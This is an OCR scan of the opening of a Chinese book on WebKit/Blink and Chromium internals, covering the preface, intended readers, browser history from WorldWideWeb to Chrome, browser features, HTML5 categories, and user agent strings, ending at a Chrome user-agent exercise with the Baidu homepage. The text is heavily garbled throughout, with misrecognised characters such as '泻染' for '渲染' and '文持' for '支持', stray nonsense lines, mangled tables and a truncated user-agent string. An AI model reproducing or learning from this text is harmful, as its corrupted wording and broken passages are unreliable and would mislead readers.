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aa en 
Ay A 
随 着 HTML5 的 快速 发 展 和 网 络 时 代 的 到 来 ，Web 的 接 入 口 一 一 浏 

览 器 越 来 越 重要 ， 而 作为 浏览 器 的 内 核 一 一 泻 染 引 擎 也 变 成 了 热门 话 
题 。 自 笔者 接触 HTML5 技 术 和 浏览 器 以 来 ， 深 深 地 被 这 一 包含 众多 非 
凡 技 术 的 新 领域 所 吸引 ， 并 由 此 产生 了 很 多 疑问 ， 为 此 ， 我 开始 了 漫长 
的 学 习 和 研究 WebKit (及 Blink) 泻 染 引擎 和 Chromium 浏 览 器 的 征程 。 
虽然 WebKit 项 目 本 身 非常 复杂 ， 但 是 其 简单 的 代码 结构 、 清 晰 的 逻辑 给 
我 留 下 了 深刻 的 印象 ， 因 为 在 这 些 复杂 技术 的 背后 ， 竟 然 也 可 以 使 用 良 
好 的 设计 去 解决 技术 的 复杂 性 。 而 基于 WebKit 的 Chromium 项 目 更 是 将 
众多 大 胆 的 新 技术 引入 到 了 浏览 器 领域 让 人 耳目 一 新 。 














WebKit 是 一 个 非常 成 功 的 项 目 ， 它 不 仅仅 是 个 泻 染 引 擎 ， 而 且 成 功 
地 推动 了 网 络 的 发 展 。 基 于 WebKit 泻 染 引 警 的 浏览 器 项 目 Chromium， 
更 是 成 为 率先 文 持 HTML5 功 能 和 创新 新 功能 的 标杆 。 要 完整 理解 一 个 
Web 泻 染 引 擎 和 浏览 器 并 不 容易 ， 因 为 它们 的 确 包 含 了 众多 复杂 的 功 
能 。 据 笔者 的 统计 ，WebKit 项 目 和 Chromium 项 目 〈 不 包括 该 项 目 依 赖 
的 众多 第 三 方 项 目 ) 的 代码 量 都 在 500 万 行 以 上 ， 而 这 些 代 码 很 多 并 没 
有 完善 的 文档 ， 所 以 理解 这 些 技术 背后 的 工作 原理 还 是 非常 困难 的 。 





随 独 学 习 的 深入 ， 笔 者 发 现 目 前 对 于 整个 泻 染 引擎 的 分 析 和 文档 化 
还 处 于 一 个 缺失 的 状态 。 同 时 ， 因 为 泻 染 引擎 和 浏览 锅 包 含 了 太 多 的 技 
术 ， 让 人 有 点 应 接 不 上 暇 的 感觉 。 虽 然 webKit 项 目 代 码 结构 简单 ， 但 是 由 
于 文档 的 缺失 ， 爱 好 者 对 于 每 一 项 新 技术 ， 也 经 党 有 不 知 从 何 下 手 的 感 
党 。 为 此 ， 笔 者 结合 上 自身 的 理解 ， 通 过 这 本 书 系统 性 地 分 析 这 一 领域 的 
众多 技术 ， 硕 望 能 帮助 读者 快速 度 过 迷茫 的 时 期 。 











本 书 的 读者 


本 书 主要 是 为 Web 爱 好 者 准备 的 一 本 书 ， 主 要 针对 Web 前 端 开发 
者 、 浏 览 器 开发 者 、Web 平 台 开 发 者 和 其 他 一 切 对 HIML5 技 术 、 
WebKit 演 染 引 擎 和 Chromium 浏 览 右 的 工作 原理 感 兴趣 的 读者 。 对 于 
Web 前 端 开发 者 而 言 ， 笔 者 一 直 认 为 ， 如 果 使 用 HTML5 技 术 来 编写 网 
页 或 者 Web 应 用 ， 了 解 其 背后 的 工作 原理 是 写 出 高 效 代 人 码 的 有 效 捷 径 。 
就 像 开 发 者 想 编写 高 效 C++ 代 人 码 ， 需 要 理解 C++ 编译 器 背后 的 原理 一 
样 ， 因 为 只 有 这 样 ， 开 发 者 才能 够 编写 出 高 性 能 的 代码 。 对 于 浏览 器 开 
发 者 来 说 ， 本 书 着 重 介绍 现在 非常 热门 的 WebKit (Blink) 演 染 引擎 
和 非常 先进 的 Chromium 浏 览 占 ， 通 过 解释 其 内 部 的 工作 机 制 和 原理 ， 

让 开发 者 可 以 很 快 理解 这 一 切 的 前 因 后 果 。 对 于 其 他 的 广大 爱好 者 来 

说 ，HIML5 技 术 才 刚刚 开始 ， 未 来 的 发 展 还 将 继续 ， 了 解 这 一 技术 有 

助 于 扩展 视野 ， 而 且 理 解 浏览 器 对 各 种 技术 的 应 用 和 设计 ， 对 于 大 家 理 
解 很 多 其 他 领域 的 技术 也 有 很 强 的 启发 作用 。 





为 本 书 的 介绍 主要 是 基于 对 WebKit 和 Chromium 内 部 原理 的 解释 
来 进行 ， 而 这 些 项 目 也 都 是 基于 C/C++ 代码 来 编写 ， 所 以 读者 最 好 对 该 
语言 有 一 些 了 解 。 不 过 ， 如 果 不 了 解 它 也 没有 太 大 的 关系 ， 只 要 对 面向 
对 象 编程 的 思想 有 所 了 解 ， 阅 读本 书 也 没有 太 大 的 障碍 。 同 时 ， 本 书 不 
是 一 本 介绍 编写 HTML/JavaScript 代 码 的 书 ， 所 以 ， 不 会 对 HTML 的 编程 
做 过 多 详细 的 解释 ， 而 是 以 一 种 简单 的 方式 描述 一 些 基 础 性 常识 。 


本 书 的 组 织 


本 书 基 本 的 写作 方式 是 力求 在 介绍 HTML5 技 术 的 基础 上 ， 通 过 对 
W3C 组 织 制 定 的 规范 的 解释 ， 进 一 步 解 恋 WebKit 演 染 引 擎 和 Chromium 
浏览 器 是 如 何 设 计 出 高 效 的 架构 来 文 持 这 些 HIML5 技 术 规 范 的 ， 其 中 
着 重 剖 析 内 部 的 框架 和 工作 原理 。 在 很 多 情况 下 ， 笔 者 也 试图 通过 一 些 
开发 和 工作 实践 来 帮助 理解 这 些 框 架 和 实现 背后 的 机 制 和 原理 。 











如 果 想 了 解 整个 泻 染 引擎 的 原理 ， 光 靠 泻 染 引擎 本 身 不 足以 说 明 所 
有 机 制 ， 所 以 本 书 自 始 至 终 都 是 结合 WebKit 项 目 和 基于 WebKit 的 
Chromium 浏 览 器 项 目 来 描述 其 工作 原理 的 ， 因 为 WebKit 项 目 本 身 不 是 
一 个 浏览 器 ， 而 Chromium 浏 览 器 的 设计 和 架构 可 以 帮助 读者 完整 理解 
网 页 的 泻 染 过 程 和 现代 HTML5 新 技术 是 如 何 获 得 支持 的 ， 这 一 过 程 的 
确 非 常 精 彩 。 








为 了 理解 HIML5 新 技术 和 浏览 器 的 工作 原理 ， 本 书 着 重 带 来 以 下 
方面 的 详细 分 析 ， 包 括 HIML5 技 术 分析 、 演 染 引 擎 和 浏览 器 介绍 、 
WebKit 演 染 引 擎 框架 、Chromium 框 架 和 进程 架构 、 网 页 和 网 页 结构 、 
泻 染 过 程 、 网 络 栈 、HTML 语 言 、DOM、CSS 样 式 、 布 局 计算 、 演 染 基 
础 、 高 级 硬件 加 速 机 制 、JavaScript 引 擎 、 插 件 和 扩展 、 多 媒体 、 移 动 领 
域 、 安 全 机 制 、 调 试 机 制 、 发 展 趋势 和 Web 平 台 等 众多 热门 技术 和 前 沿 
性 话题 。 笔 者 希望 将 HTML5 中 绝 大 多 数 的 重要 技术 都 展现 出 来 ， 让 读 
者 可 以 对 这 个 领域 的 众多 技术 有 个 总 体 把 握 并 对 主要 技术 的 前 因 后 果 有 
较为 深入 的 理解 。 














本 书 引 用 的 参考 资料 都 是 笔者 多 年 来 研究 的 对 象 ， 对 于 笔者 理解 





HTML5 撤 术 、 前 端 开 发 技术 、 泻 染 引擎 和 浏览 器 技术 起 了 非常 重要 的 
作用 ， 一 些 论题 可 能 在 本 书 中 介绍 得 不 够 完善 ， 读 者 可 以 参考 这 些 资 
料 ， 做 进一步 的 学 习 和 研究 。 


本 书 是 一 个 讲解 内 部 原理 的 书 ， 涉 及 众多 的 技术 ， 特 别 是 深入 技术 
内 部 工作 机 制 的 地 方 ， 由 于 这 些 内 容 非常 复杂 ， 而 且 是 根据 笔者 个 人 的 
理解 加 以 分 析 ， 所 以 很 多 时 候 可 能 存在 理解 上 的 偏差 或 者 错误 。 如 果 有 
什么 不 尼 之 处 ， 还 望 广大 读者 谅解 并 给 予 指导 ， 或 者 将 意见 发 送 到 我 的 
邮箱 : yongsheng@chromium.org. 
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Ab, = Ve op thsi a oe 
1 浏览 器 和 inl OBS 内 核 
浏览 器 是 目前 用 户 使 用 范围 最 广 、 使 用 时 间 最 长 的 应 用 程序 之 
浏览 器 的 发 展 也 经 历 了 一 段 坎 坷 的 过 程 。 伴随 着 浏览 加 发 展 的 是 浏览 器 
内 核 ， 它 是 浏览 器 中 最 核心 的 功能 部 件 ， 本 间作 为 本 书 的 开始 ， 在 基础 


性 介绍 了 浏览 器 和 浏览 器 内 核 等 概念 之 后 引入 了 WebKit 内 核 的 特征 分 析 
和 框架 前 述 





互联 网 的 革命 浪潮 带动 了 众多 技术 的 快速 发 展 ， 其 中 ， 网 络 浏览 器 
(之 后 将 简称 为 浏览 器 〉 作 为 互联 网 最 重要 的 终端 接口 之 一 在 短 短 的 二 
十 多 年 时 间 里 日 新 月 异 ， 特 别 是 在 进入 21 世 纪 后 ， 越 来 越 多 的 功能 被 加 
入 到 浏览 器 中 来 。 在 W3C 等 标准 组 织 的 积极 推动 下 逐步 成 型 的 HTML5 
技术 ， 更 是 成 为 了 浏览 器 发 展 的 火 季 推 进 器 。 











提 到 浏览 占 ， 不 得 不 提 的 重量 级 人 物 是 Berners-Lee。Berners-Lee 是 
W3C 组 织 的 理事 ， 他 在 80 年 代 后 期 90 年 代 初 期 发 明了 世界 上 第 一 个 浏览 
器 WorldWideWeb〔 后 改名 为 Nexus) ， 并 在 1991 年 公布 了 源 代 码 。 它 文 
持 早 期 的 HTML 标 记 语 言 ， 当 然 ， 它 的 功能 也 很 简单 ， 只 是 文 持 文本 、 
简单 的 样式 表 、 电 影 、 声 首 和 图 片 等 。 但 是 ， 在 当时 的 情况 下 ， 它 是 仪 
有 的 能 够 可 视 化 网 络 内 容 的 浏览 器 。 


第 二 个 不 得 不 提 的 重量 级 人 物 是 Marc Andreessen。 在 1993 年 ， 真 正 
有 影响 力 的 浏览 器 Mosaic 诞 生 ， 它 是 由 Marc ”Andreessen 领 导 的 团队 开 
发 ， 这 就 是 后 来 易 易 大 名 的 网 景 (Netscape) 浏览 器 。 同 样 地 ， 在 最 开 
始 的 时 候 ， 它 所 支持 的 功能 也 有 限 ， 只 能 显示 简单 的 静态 HTML 元 素 ， 
没有 JavaScript， 没 有 CSS， 更 没有 目前 HTML5 各 种 丰富 的 功能 。 不 
过 ， 网 景 浏览 器 还 是 大 受 欢 迎 ， 获 得 世界 范围 内 的 成 功 ， 之 后 发 展 迅 
速 ， 在 其 顶峰 时 期 ， 占 据 了 绝 大 多 数 的 市 场 份额 。 











事情 的 转变 源 于 1995 年 。 受 Mosaic 浏 览 器 的 深刻 影响 ， 微 软 推出 了 
闻名 世界 的 Internet Explorer (L FRIE) 浏览 器 ， 目 此 第 一 次 浏览 
器 大 战 正式 打 啊 。 焉 受益 于 Windows 操 作 系 统 ， 获 得 了 空前 的 成 功 ， 其 
逐渐 取代 了 网 景 浏览 器 的 领导 地 位 ， 一 直到 网 景 浏览 器 的 消亡 ， 至 此 ， 
E — AAI as KR aE OR o 











处 于 低谷 的 网 景 公 司 在 1998 年 成 立 了 Mozilla 基 金 会 ， 开 始 凤凰 涅 
警 。 在 该 基金 会 的 推动 下 ， it et eg ia nas 
览 器 (也 束 是 Firefox， 后 面 使 用 该 名 称 〉， 在 2004 年 发 布 了 1.0 版 本 ， 拉 
开 了 第 二 次 浏览 器 大 战 的 序幕 ， i hee 受益 于 正 浏 览 器 发 
展 较为 缓慢，Firefox 浏 览 器 自 推 出 以 来 束 深 受 大 家 的 喜爱 ， 其 功能 丰 
定 ， 扩 展 众 多， 因此 市 场 份 额 一 直 在 上 升 。 











然而 ， 第 二 次 浏览 右 大 战 并 没有 结束 ， 就 在 Firefox 浏 览 右 发 布 1.0 版 
本 的 前 一 年 ， 也 就 是 2003 年 ， 平 果 发 布 了 Safari 浏 览 右 ， 并 在 2005 年 释 
放 了 浏览 器 中 一 种 非常 重要 部 件 的 源 代 码 ， 发 起 了 一 个 新 的 开源 项 目 
WebKit 〈 它 是 Safari 浏 览 器 的 内 核 ， 也 是 本 书 的 重点 ) ， 这 拉 开 了 一 个 
新 的 序幕 。 同 时 ， 值 得 一 提 的 是 ， 随 着 移动 操作 系统 和 移动 互联 网 的 兴 
起 和 超 快 速 发 展 ， 苹 果 同 样 推出 了 Safari 浏 览 器 的 移动 版 ， 并 引入 了 众 
多 令 人 激动 的 功能 和 强大 的 移动 用 户 体验 ， 这 也 是 一 个 新 的 里 程 碑 。 








2008 年 ，Google 公 司 以 人 苹果 开源 项 目 WebKit 作 为 内 核 ， 创 建 了 一 个 
新 的 项 目 Chromium， 该 项 目的 目标 是 创建 一 个 快速 的 、 文 持 众 多 操作 
系统 的 浏览 器 ， 包 括 对 加 面 操作 系统 和 移动 操作 系统 的 文 持 。 这 也 就 是 
说 Chromium 使 用 了 同 Safari 一 样 的 浏览 器 内 核 〈 这 一 说 法 大 体 上 是 正确 
的 ， 实 际 上 也 还 有 很 多 不 同 ) 。 后 面 章节 的 很 多 讨论 会 围绕 Chromium 
中 的 技术 来 展开 ， 所 以 这 里 会 多 介绍 一 点 。 在 Chromium 项 目的 基础 
上 ，Google 发 布 了 目 己 的 浏览 器 产品 Chrome。 不 同 于 WebKit 之 于 Safari 








bi bias, Chromium 4 mie — bias, AE Chromed) bit a5 1 AY 
核 ，Chrome 浏 览 器 一 般 选 择 Chromium 的 稳定 版 本 作为 它 的 基础 。 
Chromium 是 开源 试验 场 ， 它 会 尝试 很 多 创新 并 且 大 胆 的 技术 ， 当 这 些 
技术 稳定 之 后 ，Chrome 才 会 把 它们 集成 进来 ， 也 就 是 说 Chrome 的 版 本 
会 落后 于 Chromium; 其 次 ，Chrome 还 会 加 入 一 些 私 有 的 编码 解码 器 以 
文 持 音 视频 等 ， 再 次 ，Chrome 还 会 整合 Google 众 多 的 网 络 服务 ; 最 后 ， 
Chrome 还 有 自动 更 新 的 功能 (虽然 只 是 Windows 平 台 ) ， 这 也 是 
Chromium 所 没有 的 。Chrome 浏 览 器 的 发 展 也 非常 迅速 ， 很 快 融 在 个 人 
电脑 市 场 占 有 重要 的 一 席 之 地 。 








自 此 ， 对 于 桌面 系统 而 言 ， 三 足 易 立 之 势 已 经 形成 。 ue 
Mozilla 火 狐 和 Google Chrome 成 了 桌面 系统 上 最 流行 的 三 款 浏览 器 ， 三 
者 一 起 占据 了 该 市 场 超过 90% 的 浏览 器 份额 。 对 于 移动 系统 而 言 ， 就 是 
男 一 炙 情 形 了 。 由 于 苹果 的 OS 操作 系 统 和 Google 的 安 卓 系统 占据 了 绝 
对 领先 的 地 位 ， 因 而 这 两 个 系统 的 默认 浏览 器 Safari 浏 览 器 和 安 卓 浏览 
器 变 得 非常 流行 。 有 趣 的 是 ， 它 们 都 是 基于 苹果 发 起 的 开源 项 目 
WebKit。 浏 览 器 作为 用 户 访 问 互 联网 最 重要 的 接口 ， 也 难怪 获得 如 此 众 
多 巨头 的 关注 。 未 来 ， 必 将 还 是 浏览 器 继续 高 速 发 展 、 竞 争 激烈 的 场 
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前 一 个 浏览 器 应 该 包括 哪些 功能 呢 ? 





大 体 上 来 讲 ， 浏 览 占 的 这 些 功 能 包括 网 络 、 资 源 管理 、 网 页 浏览 、 


多 页 面 管理 、 揪 件 和 扩展 、 书 签 管 理 、 历 史记 录 管 理 、 设 置 管理 、 下 载 
管理 、 账 户 和 同步 、 安 全 机 制 、 隐 私 管理 、 外 观 主题 、 开 发 者 工具 等 。 
下 和 面 是 对 它们 之 中 的 一 些 重 要 功能 的 详细 介绍 。 


。 网 络 : 它 是 第 一 步 ， 浏 览 器 通过 网 络 模块 来 下 载 各 种 各 样 的 资 
源 ， 例 如 HTML 文 本 、JavaScript 人 代码、 样式 表 、 图 片 、 音 视频 文件 
等 。 网 络 部 分 其 实 非常 重要 ， 因 为 它 耗 时 比较 长 而 且 需要 安全 访问 
互联 网 上 的 资源 。 

。 资源 管理 : ”从 网 络 下 载 或 者 本 地 获取 资源 ， 并 将 它们 管理 起 来 ， 
这 和 需要 高 效 的 管理 机 制 。 例 如 如 何 避 人 免 重 复 下 载 资源 、 绥 存 资 源 
等 ， 都 是 它们 需要 解决 的 问题 。 

。 网 页 浏览 ”这 是 浏览 器 的 核心 也 是 最 基本 、 最 重要 的 功能 ， 它 通 
过 网 络 下 载 资 源 并 从 资源 管理 器 获得 资源 ， 将 它们 转变 为 可 视 化 的 
结 末 ， 这 也 是 后 面 介绍 的 浏览 器 内 核 最 重要 的 功能 。 这 部 分 会 分 成 
多 个 章节 在 后 面 逐 一 介绍 。 

。 多 页 面 管理 : ”很 多 浏览 器 文 持 多 页 面 浏览 ， 所 以 需要 文 持 多 个 网 
页 同时 加 载 ， 这 让 浏览 器 变 得 更 为 复杂 。 同 时 ， 如 何 解 决 多 页 面 的 
相互 影响 和 安全 等 问题 也 非常 重要 ， 为 此 ， 一 些 浏览 器 做 了 大 量 的 
工作 ， 例 如 可 能 使 用 线程 或 是 进程 来 绘制 网 页 。 

。 插件 和 扩展 : ”这 是 现代 浏览 器 的 一 个 重要 特征 ， 它 们 不 仅 能 显示 
网 页 ， 而 且 能 文 持 各 种 形式 的 插件 和 扩展 。 插 件 是 用 来 显示 网 页 特 
定 内 容 的 ， 而 扩展 则 是 增加 浏览 器 新 功能 的 软件 或 压缩 包 。 目 前 营 
见 的 插件 有 NPAPI 插 件 、PPAPI 插 件 、ActiveX 插 件 等 ， 扩 展 则 跟 浏 
览 占 密切 相关 ， 和 常见 的 有 Firefox 扩 展 和 Chromium 扩 展 。 这 在 第 10 
章 中 会 做 介绍 。 

。 账户 和 同步 : ”将 浏览 的 相关 信息 ， 例 如 历史 记录 、 书 签 等 信息 同 
步 到 服务 器 ， 给 用 户 一 个 多 系统 下 的 统一 体验 ， 这 对 用 户 非 常 友 

















好 ， 是 浏览 器 易 用 性 的 一 个 显著 标识 。 

。 安全 机 制 : ”本质 是 提供 一 个 安全 的 浏览 器 环境 ， 避 人 免 用 户 信 息 被 
各 种 非法 工具 锅 取 和 破坏 。 这 可 能 包括 显示 用 户 访问 的 网 站 是 否 安 
全 、 为 网 站 设置 安全 级 别 、 防 止 浏 览 器 被 恶意 代码 攻破 等 ， 这 在 第 
12 章 会 作 详细 介绍 。 

。 开 发 者 工具 : 这 对 普通 用 户 来 说 用 处 不 大 ， 但 是 对 网 页 开发 者 来 
说 意义 却 非 比 寻 常 。 一 个 优秀 的 开发 者 工具 可 以 帮助 审查 HTML 元 
素 、 调 试 JavaScript 代 码 、 改 善 网 页 性 能 等 ， 这 在 第 14 章 中 会 作 详 细 
介绍 。 





还 有 一 个 值得 一 提 的 就 是 浏览 器 的 多 操作 系统 文 持 ， 包 括 果 面 和 移 
动 两 个 领域 。 让 我 们 看 看 目前 主流 浏览 器 所 文 持 的 主流 操作 系统 情况 ， 
如 表 1-1 所 示 。 从 中 我 们 可 以 看 出 ，Chrome 支 持 目 前 所 有 主流 的 操作 系 
统 ， 后 面 依次 是 Firefox、Safari 和 IE。 不 过 ， 因 为 0S 的 一 些 特殊 限制 ， 
使 得 Chrome 里 然 发布 了 iOS 版 ， 但 是 其 内 核 仍然 不 是 上 自 映 的 ， 还 是 iOS 
系统 默认 的 。 而 Firefox 和 匡 则 直接 没有 iOS 版 。 





表 1-1 浏览 器 支持 的 操作 系统 
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1.1.3 HTML 


HTML (HyperText Markup Language) ， 一 种 超 文 本 标记 语言 ， 用 
于 网 页 的 创建 和 其 他 信息 在 浏览 器 中 的 显示 。 它 的 语法 比较 简单 ， 基 本 
上 是 一 系列 的 标签 (也 称 为 元 素 ) ， 这 些 标签 可 以 用 来 表示 文字 、 图 
片 、 多 媒体 等 。HTML1.0 由 著名 的 Berners-Lee (前 面 提 到 的 第 一 个 浏览 
器 发 明 者 ) 于 1991 年 提出 ， 后 面 历经 多 次 版 本 更 新 ， 直 到 1997 年 的 4.0 
版 本 和 1999 年 的 4.01 版 本 。 


在 HTML4.01 之 后 的 很 长 时 间 里 ， 规 范 组 织 都 没有 大 而 新 的 规范 出 
炉 ， 这 并 不 表示 HTML 语 言 一 片 死 气 沉 沉 。 相 反 ， 这 是 因为 规范 组 织 对 
新 规范 草案 的 争论 非常 激烈 。 终 于 ， 具 有 划时代 意义 的 HTML5 技 术 在 
2012 年 由 两 大 组 织 WHATWG 和 W3C (这 两 个 组 织 有 明确 不 同 的 目标 ， 
有 兴趣 的 读者 可 以 自行 搜索 了 解 ) 推荐 为 候选 规范 。HTML5 是 一 系列 
新 技术 的 集合 ， 其 构建 思想 和 前 瞻 性 远 远 超 过 之 前 的 规范 ， 将 更 多 令 人 
耳目 一 新 的 技术 带 入 到 了 Web 前 端 领域 ， 意 义 非 常 深 远 。 它 不 仅 可 以 构 
建 内 容 更 加 丰富 的 网 页 ， 更 描述 了 办 新 的 HTML5 技 术 作 为 一 个 平台 所 


需要 的 能 





HTML5 包 含 了 一 系列 的 标准 ， 一 共 包 含 了 10 个 大 的 类 别 ， 它 们 分 
别 是 离线 (offline〉、 存 储 (storage) 、 连 接 (connectivity) 、 文 件 访 
la] (file access) ~ X (semantics) 、 音 频 和 视频 Caudio/video) ~ 3D 
和 图 形 (3D/graphics) 、 展 示 (presentation) 、 性 能 (performance) 和 
其 他 (Nuts and bolts〉。 其 中 每 个 大 的 类 别 都 是 由 众多 技术 或 者 是 规范 
组 成 ， 表 1-2 描 述 了 这 10 个 类 别 所 包含 的 具体 规范 。 





HTML5 是 如 此 的 重要 ， 它 已 经 成 为 众多 浏览 器 重点 关注 的 对 象 。 
更 好 地 支持 HTML5， 是 浏览 器 能 力 强 大 的 重要 表现 ， 也 是 浏览 器 厂商 
宣传 的 重点 。 目 前 ， 网 站 html5test.com 提 供 了 测试 浏览 器 支持 HIML5 的 
情况 。 表 1-3 显 示 上 述 四 种 浏览 器 在 Windows7 上 支持 HTML5 的 情况 ， 得 


分 为 该 网 站 检测 后 的 结果 。 数 据 显 示 ， 在 Windows7 上 ，Chrome 占 据 了 
一 些 优势 。 更 多 关于 浏览 右 文 持 HTML5 的 情况 ， 读 者 可 以 到 
html5test.com 上 了 解 。 


表 1-2 HTML5 类 别 和 包含 的 各 种 规范 





具体 规范 


nE cache, Local storage, Indexed DB， 在 线 / 离 
线 事 件 


ete | 存储 | Application cache, Local storage, Indexed DB 等 
Web Sockets，Server-sent 事 件 
文件 访问 || File API, File System, FileWriter, ProgressEvents 


各 种 新 的 元 素 ， 包 括 Media，structural， 国 际 化 ，Link 
relation ,属性 ，form 类 型 ，microdata 等 方面 
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音频 和 视频 | HIML5 Video, Web Audio, WebRTC, Video track 等 


3D 和 图 形 || Canvas 2D, 3D CSS 变 换 ，WebGL，SVG 等 
CSS3 2D/3D 变 换 ， 转 换 (transition) ，WebFonts 等 
Web Worker，HTTP caching 等 


其 他 触 控 和 鼠标 ，Shadow DOM, CSS masking 等 


表 1-3 四 种 浏览 器 在 Windows 7 上 的 HTML5 支 持 得 分 
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得 分 (满分 500， 越 高 越 好 ) 

在 HTML 历 史上 的 早期 阶段 ， 网 页 内 容 是 静态 的 ， 也 就 是 说 内 容 是 
AED) eee Nile 服务 器 将 内 容 传 给 浏览 器 之 后 ， 页 面 显示 结果 就 固定 
不 变 了 ， 这 显然 难以 满足 各 种 各 样 的 现实 需求 。 随 后 JavaScript 语 言 诞 生 
了 ， 该 语言 是 EMCAScript 规 范 的 一 种 实现 。 因 为 最 初 还 有 其 他 用 于 网 
页 的 脚本 语言 ， 例 如 JScript。 所 以 ， 标 准 化 组 织 制 定 了 脚本 语言 的 规 
范 ， 也 就 是 EMCAScript。 而 JavaScript 作 为 其 中 的 一 个 实现 ， 受 到 了 极 
为 广泛 的 使 用 。 虽 然 JavaScript 语 言 的 定义 受到 了 众多 的 批评 ， 但 是 如 
今 ， 网 页 已 经 离 不 开 它 了 ，HTML5 中 的 很 多 规范 都 是 基于 JavaScript 语 
言 来 定义 的 。 网 页 第 三 个 革命 性 成 果 是 CSS (Cascading Style Sheet) , 
也 就 是 级 联 样式 表 。 因 为 早期 阶段 的 网 页 不 仅 是 静态 的 ， 而 且 表 现形 式 
非常 固定 和 简单 ， 所 以 内 容 没 有 办 法 以 各 种 可 视 化 处 理 效 果 展 示 出 来 。 
引入 了 CSS 之 后 ， 这 一 技术 使 得 内 容 和 显示 分 离开 来 ， 对 网 页 开发 来 
说 ， 极 大 地 增强 了 显示 效果 并 提升 了 开发 效率 。 














伴随 HTML 技 术 的 另 一 个 技术 是 HTTP， 这 是 一 种 构建 在 TCP/IP 之 
上 的 应 用 层 协 议 ， 用 于 传输 HTML 文 本 和 所 涉及 的 各 种 资源 ， 包 括 图 片 
和 多 媒体 等 。 随 后 ， 安 全 版 的 HITP 也 就 是 HTTPS 诞 生 ， 它 在 HITP 之 下 
加 入 SSL/TLS， 用 于 安全 地 传输 数据 。 


这 些 规范 很 重要 ， 特 别 对 于 开发 者 来 襄 ， 想 象 一 下 ， 如 果 每 个 浏览 
器 都 有 自己 的 一 套 标准 ， 那 将 是 灾难 性 的 。 不 垃 的 是 ， 事 实 基本 上 就 是 
这 样 , “碎片 化 ?成 为 Web 网 页 开发 中 一 个 极为 严重 的 问题 。 因 此 ， 使 用 
这 些 规范 的 网 页 也 不 一 定 能 在 所 有 浏览 右上 正常 运行 ， 兼 容 性 成 为 
HIML 网 页 的 一 项 重大 挑 成 。 欣 喜 的 是 ，HIML5 规 范 的 制定 得 到 了 主流 





浏览 器 厂商 的 文 持 ， 当 然 ， 这 条 路 依旧 很 长 。 


1.1.4 用户 代理 和 浏览 器 行为 


用 户 代 理 (User Agent) 是 个 很 奇怪 的 东西 ， | 
的 映 份 ， 因 而 互联 网 的 内 容 供应 商 能 够 知道 发 送 请 求 的 浏览 器 映 份 ， 汶 
览 占 能 够 文 持 什 么 样 的 功能 。 因 此 ， ts 
唤 器 发 送 不 同 的 网 页 内 容 。 例 如 通常 为 Chrome 的 曲面 版 和 Android 版 发 
送 不 同 的 网 页 内 容 以 适应 屏幕 和 操作 系统 的 差别 ， 或 者 是 因为 不 同 的 浏 
览 器 文 持 的 标准 不 一 样 ， 这 样 做 的 目的 当然 是 为 了 避免 浏览 器 不 文 持 的 
功能 以 及 获得 更 好 的 用 户 体 验 。 





前 面 提 到 过 ， 浏 览 器 大 战 相当 激烈 ， 网 页 内 容 提供 商会 根据 最 流行 
的 浏览 器 的 行为 设计 一 个 不 同 的 网 页 ， 不 管 网 页 是 人 否 遵循 标准 。 这 对 其 
他 浏览 占 来 说 是 个 打击 ， 因 为 很 多 时 候 ， 它 们 也 很 快 支持 这 些 功 能 ， 所 
以 也 和 希望 收 到 类 似 内 容 的 网 页 。 于 是 ， HIT KIS ASE SELLA IRE 
长 的 用 户 代 理 字符 串 。 





最 初 是 Mozilla Firefox 浏 览 器 设置 了 自己 的 用 户 代 理 字 符 串 ， 例 
如 “Mozilla/1.0 (Windows NT 6.1;rv:2.0.1) Gecko/20100101Firefox/4.0.1”, 

此 字符 串 表 明 这 是 一 个 Windows 版 的 使 用 Gecko 引 擎 (火狐 浏览 器 内 
核 ， 下 文 即将 涉及 ) 的 火狐 浏览 器 。 所 以 ， 互 联网 的 内 容 提供 商 就 发 送 
了 特定 的 网 页 到 浏览 器 。 问 题 来 了 ， 焉 发 现 很 多 内 容 提供 商 传 给 耻 浏 览 
器 的 内 容 没 有 传 给 火狐 的 丰富 ， 虽 然 正 也 能 支持 它们 。 那 怎么 办 呢 ? 看 
看 IE7 的 用 户 代 理 设 置 就 能 明白 一 一 “Mozilla/4.0 (compatible; MSIE 
7.0;Windows NT 6.0)”。 这 个 字符 串 的 含义 是 什么 呢 ? 它 表明 这 是 一 个 
可 以 和 Mozilla 兼 容 的 Windows 版 下 浏览 器 。 这 样 ， 内 容 提供 商会 根 





据 “Mozilla" 字 符 串 信息 ， 将 发 送 给 Firefox 浏 览 器 的 内 容 也 发 送 给 正 浏 览 
器 ， 因 为 在 他 们 看 来 ， 这 些 都 是 “Mozilla” 的 浏览 吉 





FIX Za, TULA DURA, BOM Ae TER IO E. ERA 
Safari 浏 览 器 也 设置 了 类 似 的 代理 ， 但 是 该 浏览 器 额外 加 入 了 
AppleWebKit、Safari 等 信息 ， 随 着 它 的 流行 (特别 是 移动 领域 〉， 
Chrome 等 浏览 占 除 了 包含 Mozilla 之 外 ， 还 添加 了 Safari 浏 览 占 的 那些 标 
志 信 息 ， 导 致 它 的 用 户 代 理 字 符 串 越 来 越 长 《如 下 所 示 )。 





Mozilla/5.0 (Linux;Android4.0.4;Galaxy Nexus Build/IMM76B) Ap 


确实 是 够 长 的 ， 好 吧 ， 我 们 姑且 将 之 理解 为 一 一 一 切 为 了 更 好 的 网 
页 内 容 体验 。 从 上 面 可 以 看 出 ， 因 为 共 种 浏览 露 的 流行 ， 很 多 内 容 提供 
商 和 pees ADM Daa OR RE th AY AS, SERA i BEAT) WN EY 
时 候 ， 就 只 能 是 通过 这 些 用 户 代理 的 信息 来 模仿 获得 。 


1.1.5 实践: MAHAR 


为 了 帮助 读者 了 解 用 户 代 理 的 含义 ， 本 节 介 绍 如 何在 Google 
Chrome 的 Windows 版 或 者 Linux 版 中 设置 和 改变 用 户 人 代理， 而 后 再 来 讲 
解 代 理 设置 后 对 网 页 结果 改变 的 相关 原理 。 

















1， 以 百度 的 首页 为 例 ， 当 读者 在 地 址 栏 输入 百度 的 网 址 
www.baidu.com 后 ， 默 认 情 况 下 ，Google Chrome 中 显示 的 网 页 内 容 
如 图 1-1 所 示 。 读 者 可 以 看 到 这 是 一 个 传统 的 网 页 布局 、 链 接 排 布 
非常 密集 、 适 合用 鼠标 单 击 的 操作 系统 。 


ee 
Bai 人 百度 


新 闻 网 页 贴吧 知道 音乐 图 片 视频 地 











百科 XE haoi23 | 更 多 >》 








公益 一 小 时 , 为 爱 送 平安 ， 护 估 雅 安 儿 童 
把 百度 设 为 主页 “安装 百度 浏览 器 
如 入 百度 推广 | 搜索 风云 榜 | 关于 百度 | About Baidu 
